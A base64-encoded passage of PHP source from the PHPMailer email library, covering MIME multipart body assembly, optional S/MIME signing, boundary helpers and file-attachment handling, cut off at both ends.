4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkljYWwpKSB7CiAgICAgICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSwgJycsICd0ZXh0L2NhbGVuZGFyOyBtZXRob2Q9UkVRVUVTVCcsICcnKTsKICAgICAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5JY2FsLCAkdGhpcy0+RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmUnOgogICAgICAgICAgICAgICAgJGJvZHkgLj0gJG1pbWVwcmU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzFdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L3JlbGF0ZWQ7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+YXR0YWNoQWxsKCdpbmxpbmUnLCAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuZEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVsxXSk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgY2FzZSAnYWx0X2F0dGFjaCc6CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkbWltZXByZTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgnLS0nIC4gJHRoaXMtPmJvdW5kYXJ5WzFdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5oZWFkZXJMaW5lKCdDb250ZW50LVR5cGUnLCAnbXVsdGlwYXJ0L2FsdGVybmF0aXZlOycpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCJcdGJvdW5kYXJ5PVwiIiAuICR0aGlzLT5ib3VuZGFyeVsyXSAuICciJyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+Z2V0Qm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdLCAkYWx0Qm9keUNoYXJTZXQsICd0ZXh0L3BsYWluJywgJGFsdEJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5BbHRCb2R5LCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRib2R5Q2hhclNldCwgJ3RleHQvaHRtbCcsICRib2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmVuY29kZVN0cmluZygkdGhpcy0+Qm9keSwgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEUgLiAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ2FsdF9pbmxpbmVfYXR0YWNoJzoKICAgICAgICAgICAgICAgICRib2R5IC49ICRtaW1lcHJlOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvYWx0ZXJuYXRpdmU7Jyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+dGV4dExpbmUoIlx0Ym91bmRhcnk9XCIiIC4gJHRoaXMtPmJvdW5kYXJ5WzJdIC4gJyInKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5nZXRCb3VuZGFyeSgkdGhpcy0+Ym91bmRhcnlbMl0sICRhbHRCb2R5Q2hhclNldCwgJ3RleHQvcGxhaW4nLCAkYWx0Qm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkFsdEJvZHksICRhbHRCb2R5RW5jb2RpbmcpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPnRleHRMaW5lKCctLScgLiAkdGhpcy0+Ym91bmRhcnlbMl0pOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHlwZScsICdtdWx0aXBhcnQvcmVsYXRlZDsnKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT50ZXh0TGluZSgiXHRib3VuZGFyeT1cIiIgLiAkdGhpcy0+Ym91bmRhcnlbM10gLiAnIicpOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgJGJvZHkgLj0gJHRoaXMtPmdldEJvdW5kYXJ5KCR0aGlzLT5ib3VuZGFyeVszXSwgJGJvZHlDaGFyU2V0LCAndGV4dC9odG1sJywgJGJvZHlFbmNvZGluZyk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCR0aGlzLT5Cb2R5LCAkYm9keUVuY29kaW5nKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2lubGluZScsICR0aGlzLT5ib3VuZGFyeVszXSk7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+TEU7CiAgICAgICAgICAgICAgICAkYm9keSAuPSAkdGhpcy0+ZW5kQm91bmRhcnkoJHRoaXMtPmJvdW5kYXJ5WzJdKTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5hdHRhY2hBbGwoJ2F0dGFjaG1lbnQnLCAkdGhpcy0+Ym91bmRhcnlbMV0pOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGRlZmF1bHQ6CiAgICAgICAgICAgICAgICAvLyBDYXRjaCBjYXNlICdwbGFpbicgYW5kIGNhc2UgJycsIGFwcGxpZXMgdG8gc2ltcGxlIGB0ZXh0L3BsYWluYCBhbmQgYHRleHQvaHRtbGAgYm9keSBjb250ZW50IHR5cGVzCiAgICAgICAgICAgICAgICAvL1Jlc2V0IHRoZSBgRW5jb2RpbmdgIHByb3BlcnR5IGluIGNhc2Ugd2UgY2hhbmdlZCBpdCBmb3IgbGluZSBsZW5ndGggcmVhc29ucwogICAgICAgICAgICAgICAgJHRoaXMtPkVuY29kaW5nID0gJGJvZHlFbmNvZGluZzsKICAgICAgICAgICAgICAgICRib2R5IC49ICR0aGlzLT5lbmNvZGVTdHJpbmcoJHRoaXMtPkJvZHksICR0aGlzLT5FbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CgogICAgICAgIGlmICgkdGhpcy0+aXNFcnJvcigpKSB7CiAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgfSBlbHNlaWYgKCR0aGlzLT5zaWduX2tleV9maWxlKSB7CiAgICAgICAgICAgIHRyeSB7CiAgICAgICAgICAgICAgICBpZiAoIWRlZmluZWQoJ1BLQ1M3X1RFWFQnKSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2V4dGVuc2lvbl9taXNzaW5nJykgLiAnb3BlbnNzbCcpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gQFRPRE8gd291bGQgYmUgbmljZSB0byB1c2UgcGhwOi8vdGVtcCBzdHJlYW1zIGhlcmUsIGJ1dCBuZWVkIHRvIHdyYXAgZm9yIFBIUCA8IDUuMQogICAgICAgICAgICAgICAgJGZpbGUgPSB0ZW1wbmFtKHN5c19nZXRfdGVtcF9kaXIoKSwgJ21haWwnKTsKICAgICAgICAgICAgICAgIGlmIChmYWxzZSA9PT0gZmlsZV9wdXRfY29udGVudHMoJGZpbGUsICRib2R5KSkgewogICAgICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ3NpZ25pbmcnKSAuICcgQ291bGQgbm90IHdyaXRlIHRlbXAgZmlsZScpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJHNpZ25lZCA9IHRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCAnc2lnbmVkJyk7CiAgICAgICAgICAgICAgICAvL1dvcmthcm91bmQgZm9yIFBIUCBidWcgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD02OTE5NwogICAgICAgICAgICAgICAgaWYgKGVtcHR5KCR0aGlzLT5zaWduX2V4dHJhY2VydHNfZmlsZSkpIHsKICAgICAgICAgICAgICAgICAgICAkc2lnbiA9IEBvcGVuc3NsX3BrY3M3X3NpZ24oCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlLAogICAgICAgICAgICAgICAgICAgICAgICAkc2lnbmVkLAogICAgICAgICAgICAgICAgICAgICAgICAnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9jZXJ0X2ZpbGUpLAogICAgICAgICAgICAgICAgICAgICAgICBhcnJheSgnZmlsZTovLycgLiByZWFscGF0aCgkdGhpcy0+c2lnbl9rZXlfZmlsZSksICR0aGlzLT5zaWduX2tleV9wYXNzKSwKICAgICAgICAgICAgICAgICAgICAgICAgbnVsbAogICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICRzaWduID0gQG9wZW5zc2xfcGtjczdfc2lnbigKICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGUsCiAgICAgICAgICAgICAgICAgICAgICAgICRzaWduZWQsCiAgICAgICAgICAgICAgICAgICAgICAgICdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2NlcnRfZmlsZSksCiAgICAgICAgICAgICAgICAgICAgICAgIGFycmF5KCdmaWxlOi8vJyAuIHJlYWxwYXRoKCR0aGlzLT5zaWduX2tleV9maWxlKSwgJHRoaXMtPnNpZ25fa2V5X3Bhc3MpLAogICAgICAgICAgICAgICAgICAgICAgICBudWxsLAogICAgICAgICAgICAgICAgICAgICAgICBQS0NTN19ERVRBQ0hFRCwKICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPnNpZ25fZXh0cmFjZXJ0c19maWxlCiAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgkc2lnbikgewogICAgICAgICAgICAgICAgICAgIEB1bmxpbmsoJGZpbGUpOwogICAgICAgICAgICAgICAgICAgICRib2R5ID0gZmlsZV9nZXRfY29udGVudHMoJHNpZ25lZCk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICAvL1RoZSBtZXNzYWdlIHJldHVybmVkIGJ5IG9wZW5zc2wgY29udGFpbnMgYm90aCBoZWFkZXJzIGFuZCBib2R5LCBzbyBuZWVkIHRvIHNwbGl0IHRoZW0gdXAKICAgICAgICAgICAgICAgICAgICAkcGFydHMgPSBleHBsb2RlKCJcblxuIiwgJGJvZHksIDIpOwogICAgICAgICAgICAgICAgICAgICR0aGlzLT5NSU1FSGVhZGVyIC49ICRwYXJ0c1swXSAuICR0aGlzLT5MRSAuICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgICAgICAkYm9keSA9ICRwYXJ0c1sxXTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkZmlsZSk7CiAgICAgICAgICAgICAgICAgICAgQHVubGluaygkc2lnbmVkKTsKICAgICAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdzaWduaW5nJykgLiBvcGVuc3NsX2Vycm9yX3N0cmluZygpKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBjYXRjaCAocGhwbWFpbGVyRXhjZXB0aW9uICRleGMpIHsKICAgICAgICAgICAgICAgICRib2R5ID0gJyc7CiAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgICAgICB0aHJvdyAkZXhjOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkYm9keTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgc3RhcnQgb2YgYSBtZXNzYWdlIGJvdW5kYXJ5LgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjaGFyU2V0CiAgICAgKiBAcGFyYW0gc3RyaW5nICRjb250ZW50VHlwZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBnZXRCb3VuZGFyeSgkYm91bmRhcnksICRjaGFyU2V0LCAkY29udGVudFR5cGUsICRlbmNvZGluZykKICAgIHsKICAgICAgICAkcmVzdWx0ID0gJyc7CiAgICAgICAgaWYgKCRjaGFyU2V0ID09ICcnKSB7CiAgICAgICAgICAgICRjaGFyU2V0ID0gJHRoaXMtPkNoYXJTZXQ7CiAgICAgICAgfQogICAgICAgIGlmICgkY29udGVudFR5cGUgPT0gJycpIHsKICAgICAgICAgICAgJGNvbnRlbnRUeXBlID0gJHRoaXMtPkNvbnRlbnRUeXBlOwogICAgICAgIH0KICAgICAgICBpZiAoJGVuY29kaW5nID09ICcnKSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICR0aGlzLT5FbmNvZGluZzsKICAgICAgICB9CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+dGV4dExpbmUoJy0tJyAuICRib3VuZGFyeSk7CiAgICAgICAgJHJlc3VsdCAuPSBzcHJpbnRmKCdDb250ZW50LVR5cGU6ICVzOyBjaGFyc2V0PSVzJywgJGNvbnRlbnRUeXBlLCAkY2hhclNldCk7CiAgICAgICAgJHJlc3VsdCAuPSAkdGhpcy0+TEU7CiAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgIGlmICgkZW5jb2RpbmcgIT0gJzdiaXQnKSB7CiAgICAgICAgICAgICRyZXN1bHQgLj0gJHRoaXMtPmhlYWRlckxpbmUoJ0NvbnRlbnQtVHJhbnNmZXItRW5jb2RpbmcnLCAkZW5jb2RpbmcpOwogICAgICAgIH0KICAgICAgICAkcmVzdWx0IC49ICR0aGlzLT5MRTsKCiAgICAgICAgcmV0dXJuICRyZXN1bHQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBSZXR1cm4gdGhlIGVuZCBvZiBhIG1lc3NhZ2UgYm91bmRhcnkuCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHBhcmFtIHN0cmluZyAkYm91bmRhcnkKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBlbmRCb3VuZGFyeSgkYm91bmRhcnkpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5MRSAuICctLScgLiAkYm91bmRhcnkgLiAnLS0nIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogU2V0IHRoZSBtZXNzYWdlIHR5cGUuCiAgICAgKiBQSFBNYWlsZXIgb25seSBzdXBwb3J0cyBzb21lIHByZXNldCBtZXNzYWdlIHR5cGVzLCBub3QgYXJiaXRyYXJ5IE1JTUUgc3RydWN0dXJlcy4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIHNldE1lc3NhZ2VUeXBlKCkKICAgIHsKICAgICAgICAkdHlwZSA9IGFycmF5KCk7CiAgICAgICAgaWYgKCR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnYWx0JzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5pbmxpbmVJbWFnZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0eXBlW10gPSAnaW5saW5lJzsKICAgICAgICB9CiAgICAgICAgaWYgKCR0aGlzLT5hdHRhY2htZW50RXhpc3RzKCkpIHsKICAgICAgICAgICAgJHR5cGVbXSA9ICdhdHRhY2gnOwogICAgICAgIH0KICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gaW1wbG9kZSgnXycsICR0eXBlKTsKICAgICAgICBpZiAoJHRoaXMtPm1lc3NhZ2VfdHlwZSA9PSAnJykgewogICAgICAgICAgICAvL1RoZSAncGxhaW4nIG1lc3NhZ2VfdHlwZSByZWZlcnMgdG8gdGhlIG1lc3NhZ2UgaGF2aW5nIGEgc2luZ2xlIGJvZHkgZWxlbWVudCwgbm90IHRoYXQgaXQgaXMgcGxhaW4tdGV4dAogICAgICAgICAgICAkdGhpcy0+bWVzc2FnZV90eXBlID0gJ3BsYWluJzsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBGb3JtYXQgYSBoZWFkZXIgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGhlYWRlckxpbmUoJG5hbWUsICR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJG5hbWUgLiAnOiAnIC4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGEgZm9ybWF0dGVkIG1haWwgbGluZS4KICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICR2YWx1ZQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIHRleHRMaW5lKCR2YWx1ZSkKICAgIHsKICAgICAgICByZXR1cm4gJHZhbHVlIC4gJHRoaXMtPkxFOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGF0dGFjaG1lbnQgZnJvbSBhIHBhdGggb24gdGhlIGZpbGVzeXN0ZW0uCiAgICAgKiBOZXZlciB1c2UgYSB1c2VyLXN1cHBsaWVkIHBhdGggdG8gYSBmaWxlIQogICAgICogUmV0dXJucyBmYWxzZSBpZiB0aGUgZmlsZSBjb3VsZCBub3QgYmUgZm91bmQgb3IgcmVhZC4KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl